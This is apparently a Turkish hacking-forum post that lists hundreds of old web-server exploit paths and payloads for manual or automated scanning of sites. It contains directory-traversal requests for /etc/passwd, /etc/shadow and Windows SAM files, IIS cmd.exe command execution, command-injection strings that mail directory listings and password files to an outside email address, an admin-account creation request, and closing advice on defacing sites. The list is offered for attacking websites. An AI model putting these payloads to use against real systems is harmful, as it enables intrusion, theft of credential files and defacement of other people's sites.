Bu açıkları ister elle teker teker deneyip ister de yazacağınız bir script veya programa ekleyerek otomatik olarak tarama yapabilirsiniz. /./ /.. /../.. /.../ /.../ /.../ /.../ / /+/ /+./ /++/ /++./ /%00/ :2301 /2600-cgi/ezmlm-cgi /%2E%2E /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts /%2E%2E/%2E%2E/Program%20Files/AnalogX/SimpleServer/www/server. log :3000/../../hosts :3128/../../../../ :3128/../../../conf/Eserv. ini :444/... autoexec. bat :5000/ :800/../.. :8000/cgi/wja?page=wja :8000/servlet/com. livesoftware. jrun. plugins. jsp. JSP/../../../tst. txt :8000/servlet/com. livesoftware. jrun. plugins. ssi. SSIFilter/../../test. jsp :8000/servlet/jsp/../../tst. txt :8000/servlet/ssifilter/../../test. jsp :8002/Newuser?Image=../../database/rbsserv. mdb :8003/Display :800/C:/ :8010/ :8010// :8010/.../ :8010/c:// :8010/d:// :8010/Guide/../../../../../../../../../../../../../../../etc/shadow :8010/Guide/../../../../../../../../../../../var/CommuniGate/Accounts/postmaster. macnt/account. settings :801/../../../../../../../../etc/hosts :8080/anything. jsp :8080/../../../conf/Eserv. ini :8080/examples/jsp/snp/anything. snp :8080/tea/dynamic/system/teaservlet/Admin?admin=true :8088 :80/../../../autoexec. bat :8100//WEB-INF/ :8100//WEB-INF/webapp. properties :8100//WEB-INF/web. xml :8383 :8888/ :8888/ab2/@Ab2Admin :8888/cgi-bin/admin/admin :8888/cgi-bin/admin/admin?command=add_user&uid=percebe&password=percebe&re_password=percebe :8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3 :9000/cgi-bin/query%3f :901 :9090 :9090/board.html :9090/examples/applications/bboard/bboard_frames.html :9090/servlet/com. sun. server. http. pagecompile. jsp92. JspServlet/board.html :9998/ /. access /achg. htr /active. log /ad. cgi?file=../../../../../../../../etc/hosts /admin/ /admin. cgi /Admin_files/order. log /admin.htm /admin.html /admin/includes/ /admin. php3 /admin. php3?admin=whatever /admin. pl /admin-serv/config/admpw /admin. shtml /admisapi/fpadmin.htm /ads/admin. cgi /ads/adpassword. txt /adsamples/config/site. csc /AdvWorks/equipment/catalog_type. asp /advworks/equipment/catalog_type. asp /aexp2. htr /aexp3. htr /aexp4b. htr /aglimpse /Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0 /aliredir. exe /.../ all /../../../../ all /amadmin. pl /AnalogX /anot3. htr /AnyForm2 /anything. jsp /architext_query. pl /args. bat /ASPSamp/AdvWorks/equipment/catalog_type. asp /AT-admin. cgi /auctionweaver. pl /_AuthChangeUrl /_AuthChangeUrl? /authors. pwd /.../autoexec. bat /.../autoexec. bat /... autoexec. bat /aux /bash /. bash_history /bb-dnbd/bb-hist. sh /bboard_frames.html /beaninfo. cfm /bigconf. cgi / bin / bin/ /bin /bin/ /bin/common/user_update_admin. pl /bin/common/user_update_passwd. pl?user_id=V&firstname=FI&lastname=LA&course_id=SID&password1=NEWPWD&password2=NEWPWD /bizdb1-search. cgi /blabla. ida /blabla. idc /blabla. idq /blabla. idw /bnbform /bnbform. cgi /../../../../../../../boot. ini /../../boot. ini /build. cgi /campas /carbo. dll /cart32. exe /cart. cgi /catalog. nsf /catalog. nsf/ /ccbill/ /ccbill/secure/ccbill. log /cd/../config/html/cnf_gi.htm /cfappman/index. cfm /cfdocs/cfmlsyntaxcheck. cfm /cfdocs/exampleapp/docs/sourcewindow. cfm /cfdocs/exampleapp/docs/sourcewindow. cfm?Template= /cfdocs/exampleapp/email/application. cfm /cfdocs/exampleapp/email/getfile. cfm /cfdocs/exampleapp/email/getfile. cfm?filename=c:oot. ini /cfdocs/exampleapp/email/getfile. cfm?filename=c:oot. ini /cfdocs/exampleapp/publish/admin/addcontent. cfm /cfdocs/exampleapp/publish/admin/addcontent. cfm /cfdocs/exampleapp/publish/admin/application. cfm /cfdocs/examples/cvbeans/beaninfo. cfm /cfdocs/examples/CVLibrary/GetFile. CFM?FT=Text&FST=Plain&FilePath=C:oot. ini /cfdocs/examples/httpclient/mainframeset. cfm /cfdocs/examples/parks/detail. cfm /cfdocs/expelval/displayopenedfile. cfm /cfdocs/expelval/exprcalc. cfm /cfdocs/expelval/openfile. cfm /cfdocs/expelval/sendmail. cfm /cfdocs/expelvel/openfile. cfm /cfdocs/expeval/displayopenedfile. cfm /cfdocs/expeval/eval. cfm /cfdocs/expeval/exprcalc. cfm /cfdocs/expeval/openfile. cfm /cfdocs/expeval/sendmail. cfm /cfdocs/expressions. cfm /cfdocs/MOLE. CFM /cfdocs/root. cfm /cfdocs/snippets/evaluate. cfm /cfdocs/snippets/fileexist. cfm /cfdocs/snippets/fileexists. cfm /cfdocs/snippets/gettempdirectory. cfm /cfdocs/snippets/setlocale. cfm /cfdocs/snippets/viewexample. cfm /cfdocs/snippets/viewexample. cfm?Tagname= /cfdocs/TOXIC. CFM /cfdocs/zero. cfm /CFIDE/Administrator/startstop.html /cfide/Administrator/startstop.html /cfmlsyntaxcheck. cfm /cfusion/cfapps/forums/data/forums. mdb /cfusion/cfapps/forums/forums_. mdb /cfusion/cfapps/security/data/realm. mdb /cfusion/cfapps/security/realm_. mdb /cfusion/database/cfexamples. mdb /cfusion/database/cfsnippets. mdb /cfusion/database/cypress. mdb /cfusion/database/smpolicy. mdb /cgi /cgi/ /cgi-bin /cgi-bin/ /cgibin /cgibin/ /cgi-bin/abuse. man?file=&domain=&script= /cgi-bin/ad. cgi?file=../../../../../../../../etc/hosts /cgi-bin/add_ftp. cgi /cgi-bin/admin. cgi /cgi-bin/Admin_files/order. log /cgi-bin/adp /cgi-bin/adpassword. txt /cgi-bin/ads. cgi /cgi-bin/ads. setup /cgi-bin/af. cgi /cgi-bin/aglimpse /cgi-bin/alibaba. pl /cgi-bin/alibaba. pl|dir /cgi-bin/alibaba. pl|dir /cgi-bin/aliredir. exe /cgi-bin/allmanage/adp /cgi-bin/allmanage. cgi /cgi-bin/allmanage/k /cgi-bin/allmanage. pl /cgi-bin/allmanage/settings. cfg /cgi-bin/allmanageup. pl /cgi-bin/allmanage/userfile. dat /cgibin/amadmin. pl?setpasswd /cgi-bin/AnyBoard. cgi /cgi-bin/anyboard. cgi /cgi-bin/AnyForm /cgi-bin/AnyForm2 /cgi-bin/archie /cgi-bin/architext_query. cgi /cgi-bin/architext_query. pl /cgi-bin/ash /cgi-bin/AT-admin. cgi /cgi-bin/AT-generate. cgi /cgi-bin/authorize/dbmfiles/users /cgi-bin/awl/auctionweaver. pl /cgi-bin/awl/auctionweaver. pl?flag1=1&catdir=...&fromfile=Boot. ini /cgi-bin/ax-admin. cgi /cgi-bin/ax. cgi /cgi-bin/axs. cgi /cgi-bin/bash /cgi-bin/bb-ack. sh /cgi-bin/bb-dnbd /cgi-bin/bb-histlog. sh /cgi-bin/bb-hist. sh /cgi-bin/bb-hist. sh?HISTFILE=../../../../../../etc/hosts /cgi-bin/bb-hist. sh?HISTFILE=/home/ /cgi-bin/bb-hostsvc. sh /cgi-bin/bb-hostsvc. sh?HOSTSVC=/../../../../../../../../etc/hosts /cgi-bin/bb-replog. sh /cgi-bin/bb-rep. sh /cgi-bin/bigconf. cgi /cgi-bin/bigconf. cgi all /cgi-bin/bizdb1-search. cgi /cgi-bin/bizdb1-search. cgi?template=bizdb-summary&dbname=;ls|mail%20riotnation@hotmail.com|&f6=^a. &action=searchdbdisplay /cgi-bin/blabla?%0a/bin/cat%20/etc/passwd /cgi-bin/bnbform /cgi-bin/bnbform. cgi /cgi-bin/bnbform. pl /cgi-bin/build. cgi /cgi-bin/cached_feed. cgi?../../../.+/etc/hosts /cgi-bin/cachemgr. cgi /cgi-bin/calendar /cgi-bin/calender_admin. pl /cgi-bin/calender. pl /cgi-bin/campas /cgi-bin/campas?%0acat%0a/etc/passwd%0a /cgi-bin/carbo. dll /cgi-bin/cart32. exe/expdate /cgi-bin/cart. pl /cgi-bin/cat /cgi-bin/cgiemail/uargg. txt /cgi-bin/cgiforum. cgi?thesection=../../../../../../etc/hosts%00 /cgi-bin/cgiforum. pl?thesection=../../../../../../etc/hosts%00 /cgi-bin/cgi-lib. pl /cgi-bin/CGImail. exe /cgi-bin/cgimail. exe /cgi-bin/Cgitest. exe /cgi-bin/cgitest. exe /cgi-bin/cgiwrap /cgi-bin/cgiwrap /cgi-bin/classified. cgi /cgi-bin/classifieds /cgi-bin/classifieds. cgi /cgi-bin/clickresponder. pl /cgi-bin/cmd. exe /cgi-bin/. cobalt/siteUserMod. cgi /cgi-bin/. cobalt/siteUserMod/siteUserMod. cgi /cgi-bin/commander. pl /cgi-bin/cookmail /cgi-bin/cookmail/cookmail /cgi-bin/cookmail/cookmail. exe /cgi-bin/core /cgi-bin/Count. cgi /cgi-bin/count. cgi /cgi-bin/counterbanner /cgi-bin/counterbanner-ord /cgi-bin/counterfiglet /cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id /cgi-bin/counterfiglet-ord /cgi-bin/counter-ord /cgi-bin/cpmdaemon. cgi /cgi-bin/csh /cgi-bin/cvsweb. cgi /cgi-bin/data/nicks /cgi-bin/date /cgi-bin/day5datacopier. cgi /cgi-bin/day5datanotifier. cgi /cgi-bin/day5notifier /cgi-bin/db2www/library/document. d2w/report?uid=UNKNOWN&pwd=&search_type=SIMPLE&r_host=&last_page=db2www0022.html&fn=db2www.html /cgi-bin/dbman/db. cgi /cgi-bin/dbmlparser. exe /cgi-bin/dcforum/install_help. cgi /cgi-bin/dcguest. cgi /cgi-bin/dcguest/dcguest. cgi /cgi-bin/dfire. cgi /cgi-bin/dig. cgi /cgi-bin/disk2server. cgi /cgi-bin/dnewsweb /cgi-bin/donothing /cgi-bin/download. cgi /cgi-bin/dumpenv /cgi-bin/dumpenv. pl /cgi-bin/echo /cgi-bin/echo. bat /cgi-bin/edit. pl /cgi-bin/edit. pl /cgi-bin/environ. cgi /cgi-bin/environ. pl /cgi-bin/everythingform. cgi?config=../../../../../../../../bin/ping&Name=xx&e-mail=riotnation@hotmail.com /cgi-bin/ews /cgi-bin/excite /cgi-bin/ezmlm-cgi /cgi-bin/faxsurvey /cgi-bin/faxsurvey?/bin/ls%20-a /cgi-bin/. fhp /cgi-bin/fi /cgi-bin/fi?/etc/passwd /cgi-bin/filemail /cgi-bin/filemail. cgi /cgi-bin/filemail. pl /cgi-bin/files. pl /cgi-bin/finger /cgi-bin/finger. cgi /cgi-bin/finger. cgi?action=archives&cmd=specific&&filename=99.10.28.15.23. username.|/bin/ls| /cgi-bin/finger?@localhost /cgi-bin/finger. pl /cgi-bin/finger?tiedotus@uta. fi%3B%2Fbin%2Fmail+riotnation@hotmail.com+%3C+etc%2Fpasswd /cgi-bin/flexform /cgi-bin/flexform. cgi /cgi-bin/foo. cmd?xxx&dir /cgi-bin/FormHandler. cgi /cgi-bin/formhandler. cgi /cgi-bin/FormMail. pl /cgi-bin/formmail. pl /cgi-bin/formprocessor. asp?MailTo=riotnation@hotmail.com&MailFrom=tst@no. net&Message=tst&MailTemplate1=/cgi-bin/formprocessor. asp /cgi-bin/formto. pl /cgi-bin/fortune /cgi-bin/forum-admin. pl /cgi-bin/forumdisplay. cgi /cgi-bin/forum. pl /cgi-bin/fpcount. exe /cgi-bin/fpexplore. exe /cgi-bin/fpexplorer. exe /cgi-bin/ftpdiag. cgi /cgi-bin/ftp/ftp. pl?dir=../../../../../../etc /cgi-bin/futureforum. cgi /cgi-bin/gbook. cgi?_MAILTO=xx;ls /cgi-bin/get16. exe /cgi-bin/get32. exe /cgi-bin/get32. exe|dir /cgi-bin/getdoc. cgi /cgi-bin/gH. cgi /cgi-bin/glimpse /cgi-bin/guestadd. pl /cgi-bin/guestbook. cgi /cgi-bin/guestbook. pl /cgi-bin/GW5 /cgi-bin/GW5/GWWEB. EXE /cgi-bin/GW5/GWWEB. EXE?HELP=bad-request /cgi-bin/GW5/GWWEB. EXE?HELP=../../../../../index /cgi-bin/GWWEB. EXE /cgi-bin/handler /cgi-bin/handler. cgi /cgi-bin/hello. bat /cgibin/htgrep/file=index.html&hdr=/etc/hosts /cgi-bin/htimage. exe /cgi-bin/htmldocs /cgi-bin/html_page?TEMPLATE=main /cgi-bin/htmlscript /cgi-bin/htmlscript?../../../../../../etc/passwd /cgi-bin/htsearch /cgi-bin/htsearch?exclude=%60%60 /cgi-bin/icat /cgi-bin/iisadmpwd/achg. htr /cgi-bin/iisadmpwd/aexp2. htr /cgi-bin/iisadmpwd/aexp. htr /cgi-bin/iisadmpwd/anot. htr /cgi-bin/imagemap /cgi-bin/imagemap. c /cgi-bin/imagemap. exe /cgi-bin/imapcern. exe /cgi-bin/imapncsa. exe /cgi-bin/info2html /cgi-bin/info2www /cgi-bin/info2www?(../../../../../../../bin/mail riotnation@hotmail.com+c:InetPubwwwrootcmd. pl+&+. pl /perl. exe /perl/files. pl /perlshop. cgi /pfdisplay. cgi /phf /photoads/ /photoads/cgi-bin/ /photoads/cgi-bin/env. cgi /. photon/voyager/config. full /php. cgi /phpgroupware/inc/phpgwapi/phpgw. inc. php /phpPhotoAlbum/getalbum. php?album=../../../etc/ /ping all /ping?SomeCrapHere /piranha/secure/passwd. php3 /piranha/secure/passwd. php3?username=piranha&passwd=q /pollit /Poll_It_SSI_v2.0. cgi /Poll_It_v2.0. cgi /post16. exe /ppwb/Temp/ /ppwd /prd. i/pgen/ /printenv /_private /_private/form_results.htm /_private/form_results. txt /_private/orders.htm /_private/orders. txt /_private/orders. txt /_private/register.htm /_private/register. txt /_private/register. txt /_private/registrations.htm /_private/registrations. txt /_private/shopping_cart. mdb /products/phpPhotoAlbum/explorer. php?folder=../../../../../../../etc/ /pservlet.html /PSUser/PSCOErrPage.htm /publisher/ /pw/storemgr. pw /quikstore. cfg /random_banner/index. cgi?image_list=alternative_image. list&html_file=../../../../../etc/hosts /random_banner/index. cgi?image_list=alternative_image. list&html_file=|ls%20-la| /redir. cgi /redirect. cgi /redirect. pl /redir. pl /repost. asp /rguest. exe /robots. txt / root / root/ /root/ /rpm_query /rsh /rwwwshell. pl /s97_cgi. exe /s_97. vts /sam. _ /samples/ /samples/search/queryhit.htm / sbin/ /script/ /scripts /scripts/ /scripts/alibaba. pl|dir /scripts/args. bat /scripts/args. cmd /scripts/awl/auctionweaver. pl /scripts/bdir. htr /scripts/bigconf. cgi /scripts/..%c0%af../winnt/system32/cmd. exe?/c+dir+c: /scripts/..%c1%1c../winnt/system32/cmd. exe?/c+dir+c: /scripts/..%c1%9c../winnt/system32/cmd. exe?/c+dir+c: /scripts/c32web. exe/ChangeAdminPassword /scripts/Carello/add. exe /scripts/cart32. exe/cart32clientlist /scripts/cart32. exe/cart32clientlist?passwd=wemilo /scripts/CGImail. exe /scripts/cgimail. exe /scripts/Cgitest. exe /scripts/../../cmd. exe /scripts/cmd. exe /scripts/../../cmd. exe?%2FC+echo+"hacked!">c:hello. bat /scripts/convert. bas /scripts/counter. exe /scripts/cpshost. dll /scripts/..%d0%af../winnt/system32/cmd. exe?/c+dir+c: /scripts/..%d1%9c../winnt/system32/cmd. exe?/c+dir+c: /scripts/dbman/db. cgi?db=invalid-db /scripts/dbman/db. cgi?db=tedb /scripts/dbmlparser. exe /scripts/emurl/RECMAN. dll /scripts/emurl/RECMAN. dll? /scripts/excite /scripts/files. pl /scripts/foo. cmd?xxx&dir /scripts/Fpadmcgi. exe /scripts/fpcount. exe /scripts/fpexplorer. exe /scripts/get32. exe|dir /scripts/GW5/GWWEB. EXE /scripts/htimage. exe /scripts/iisadmin/bdir. htr /scripts/iisadmin/bdir. htr?dir=ht?c: /scripts/iisadmin/default.htm /scripts/iisadmin/ism. dll /scripts/iisadmin/ism. dll%3fhttp/dir /scripts/iisadmin/ism. dll?http/dir /scripts/iisadmin/ism. dll?http/dir%20.../ /scripts/iisadmin/samples/ctgestb. htx /scripts/iisadmin/samples/ctgestb. idc /scripts/iisadmin/samples/details. htx /scripts/iisadmin/samples/details. idc /scripts/iisadmin/samples/query. htx /scripts/iisadmin/samples/query. idc /scripts/iisadmin/samples/register. htx /scripts/iisadmin/samples/register. idc /scripts/iisadmin/samples/sample2. htx /scripts/iisadmin/samples/sample. htx /scripts/iisadmin/samples/sample. idc /scripts/iisadmin/samples/viewbook. htx /scripts/iisadmin/samples/viewbook. idc /scripts/iisadmin/tools/ct. htx /scripts/iisadmin/tools/ctss. idc /scripts/iisadmin/tools/dsnform. exe /scripts/iisadmin/tools/getdrvrs. exe /scripts/iisadmin/tools/mkilog. exe /scripts/iisadmin/tools/newdsn. exe /scripts/imagemap. exe /scripts/input2. bat /scripts/input. bat /scripts/issadmin/bdir. htr /scripts/mlog.html /scripts/mylog.html /scripts/no-such-file. pl /scripts/perl /scripts/perl? /scripts/perl. exe /scripts/pfieffer. bat /scripts/pfieffer. cmd /scripts/phpmlog. phtml /scripts/phpmylog. phtml /scripts/plusmail /scripts/postinfo. asp /scripts/process_bug. cgi /scripts/proxy/w3proxy. dll /scripts/pu3. pl /scripts/query?mss=../config /scripts/repost. asp /scripts/repost. asp /scripts/rguest. exe /scripts/run. exe /scripts/samples/ctguestb. idc /scripts/samples/details. idc /scripts/samples/search/author. idq /scripts/samples/search/filesize. idq /scripts/samples/search/filetime. idq /scripts/samples/search/queryhit. idq /scripts/samples/search/queryhit. idq?CiRestriction=%23FILENAME%3D. pwd&CiMaxRecordsPerPage=10&CiScope=%2F&TemplateName=queryhit&CiSort=rank%5Bd%5D&HTMLQueryForm=%2Fsamples%2Fsearch%2Fqueryhit.htm /scripts/samples/search/queryhit. idq?CiRestriction=%23FILENAME%3D. pwl&CiMaxRecordsPerPage=10&CiScope=%2F&TemplateName=queryhit&CiSort=rank%5Bd%5D&HTMLQueryForm=%2Fsamples%2Fsearch%2Fqueryhit.htm /scripts/samples/search/simple. idq /scripts/samples/search/webhits. exe /scripts/script. bat%3f&dir /scripts/script. cmd%3f&dir /scripts/scriptssnorkerz. bat /scripts/scriptssnorkerz. cmd /scripts/search. cgi?letter=... winnt /scripts/slxweb. dll /scripts/slxweb. dll/admin /scripts/test. bat /scripts/test. exe /scripts/tools/dsnform. exe /scripts/tools/getdrvrs. exe /scripts/tools/getdrvs. exe /scripts/tools/mkilog. exe /scripts/tools/newdsn. exe /scripts/tools/newdsn. exe%3fdriver=Microsoft%2BAccess%2BDriver%2B%28. mdb%29&dsn=Web%20SQL&dbq=c:web. mdb&newdb=CREATE_DB&attr= /scripts/tst. bat|dir /scripts/upload. asp /scripts/upload. asp /scripts/uploader. exe /scripts/uploadn. asp /scripts/uploadx. asp /scripts/visadmin. exe /scripts/wa. exe /scripts/webbbs. exe /scripts/wguest. exe /scripts/win-c-sample. exe /scripts/wsisa. dll /scripts/wsisa. dll/WService=anything?WSMadmin /search /search%3f /search97/s97_cgi. exe /search97/search97. vts /search97. vts /search. dll /search. dll?search?query=%00&logic=AND /search/iaquery. exe%3f /secret/index.htm /secret/index.html /secure/. htaccess /secure/. wwwacl /server%20logfile /server-status /service. pwd /servlet/ /servlet/file /servlet/SessionServlet /servlet/test/pathInfo/test /servlet/viewsource. jsp /session/adminlogin /session/adminlogin?RCpage=/sysadmin/index. stm /session/admnlogin /shopper. conf /shop. pl /showcode. asp /showfile. asp / . shtml/ /shtml. exe /site. csc /site/eg/source. asp /siteman000510/siteman. php3 /smdata. dat /SPSamp/AdvWorks/equipment/catalog_type. asp /srchadm /ss. cfg /ssi/envout. bat /startstop.html?. cfm /stat/ /stats/ /status /store/ /submit. php /subscribe. pl /suche%3f /survey /survey. cgi /tcsh / test /test /test%2ejsp /test. bat /test-cgi /test. jsp.. /test. jsp../ /test. php3 /textcounter. pl / tmp / tmp/ /today. nsf /today. nsf/ /tools/newdsn. exe?driver=Microsoft%2BAccess%2BDriver%2B%28. mdb%29&dsn=goatfart+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2goatfart.html&newdb=CREATE_DB&attr= /tree. dat /tst. bat /ubb/cgi-bin/postings. cgi /unlg1.1 /update/ /update. cgi /update. pl /upload/ /uploader. exe /uploadx. asp / usr/ /usr/local/apache/share/htdocs/. htaccess /usr/local/apache/share/htdocs/. htaccess /usr/openwin/bin/kcms_configure / uucp/ / var/ /viewcode. asp /view-source /viewsource. jsp /visadmin. exe /_vti_bin /_vti_bin/fpcount. exe /_vti_bin/shtml. dll /_vti_bin/shtml. dll/tstt.htm /_vti_bin/shtml. exe /_vti_bin/_vti_adm /_vti_bin/_vti_adm/admin. dll /_vti_bin/_vti_aut /_vti_bin/_vti_aut/author. dll /_vti_bin/_vti_aut/dvwssr. dll /_vti_bin/_vti_aut/mtd2lv. dll / vti_inf.html /_vti_inf.html /_vti_log/author. log /_vti_pvt /_vti_pvt/access. cnf /_vti_pvt/administrator. pwd /_vti_pvt/administrators. pwd /_vti_pvt/admin. pwd /_vti_pvt/author. log /_vti_pvt/authors. pwd /_vti_pvt/authors. pwd /_vti_pvt/service. cnf /_vti_pvt/service. grp /_vti_pvt/service. pwd /_vti_pvt/service. pwd /_vti_pvt/services. cnf /_vti_pvt/service. stp /_vti_pvt/shtml. dll /_vti_pvt/shtml. exe /_vti_pvt/svcacl. cnf /_vti_pvt/users. pwd /_vti_pvt/writeto. cnf /_vti_pwd/administrators. pwd /w3proxy. dll /webcart/ /webcart-lite/ /webdist. cgi /webfind. exe /webgais /webplus /websendmail /WebShop/logs/cc. txt /WebShop/logs/ck. log /WebShop/templates/cc. txt /WebSTAR /Web_Store /wguest. exe /WhatsNew/ /whois. cgi /win-c-sample. exe /windmail. exe /.../Windows/Admin. pwl /winnt /."./."./winnt/reapir/sam. _%20. pl /../../../../../winnt/repair/sam. _ /... winnt epairsam. _ /wrap /WS_FTP. INI /WS_FTP. ini /ws_ftp. ini /www /. wwwacl /wwwboard /wwwboard. pl /wwwboard/wwwadmin. cgi /wwwboard/wwwadmin. pl /wwwboard/wwwboard. pl /. www. my. cnf /www-sql /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxbu tür acıkların cıkma olasılığı %1 ama yinede deneyin bunları scanner programlarıyla taratıp ulaşabilirsinizi N-Steath programıyla bu açıklara gz atabilirsiniz. Ama bu açıklarla güncel sitelere hiçbirşey yapamazsınız. Script Deface'lerin nemi arttı. Artık bir scripting dili ğrenip kendinizde siteyi hata yapmaya zorlayabilirsiniz. En iyi rneğide Php-Nuke siteleridir.